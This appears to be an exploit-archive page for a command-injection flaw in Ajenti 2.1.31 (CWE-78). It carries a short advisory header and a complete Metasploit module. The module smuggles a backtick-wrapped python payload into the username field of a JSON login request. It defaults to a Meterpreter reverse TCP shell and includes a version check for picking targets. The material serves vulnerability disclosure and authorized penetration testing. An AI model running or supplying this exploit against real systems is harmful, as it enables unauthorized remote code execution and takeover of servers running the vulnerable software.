Ajenti 2.1.31 Command Injection

2019.12.04
Credit: Jeremy Brown
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ajenti auth username Command Injection', 'Description' => %q{ This module exploits a command injection in Ajenti == 2.1.31. By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned. }, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'Onur ER <onur@onurer.net>' # Metasploit module ], 'References' => [ ['EDB', '47497'] ], 'DisclosureDate' => '2019-10-14', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Privileged' => false, 'Targets' => [ ['Ajenti == 2.1.31', {}] ], 'DefaultOptions' => { 'RPORT' => 8000, 'SSL' => true, 'payload' => 'python/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/view/login/normal' }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.body =~ /ajenti/i return CheckCode::Safe end version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first if version vprint_status "Ajenti version #{version}" end if version == '2.1.31' return CheckCode::Appears end CheckCode::Detected end def exploit print_status('Exploiting...') json_body = { 'username' => "`python -c \"#{payload.encoded}\"`", 'password' => rand_text_alpha_lower(7), 'mode' => 'normal' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'), 'ctype' => 'application/json', 'data' => JSON.generate(json_body) }) end end


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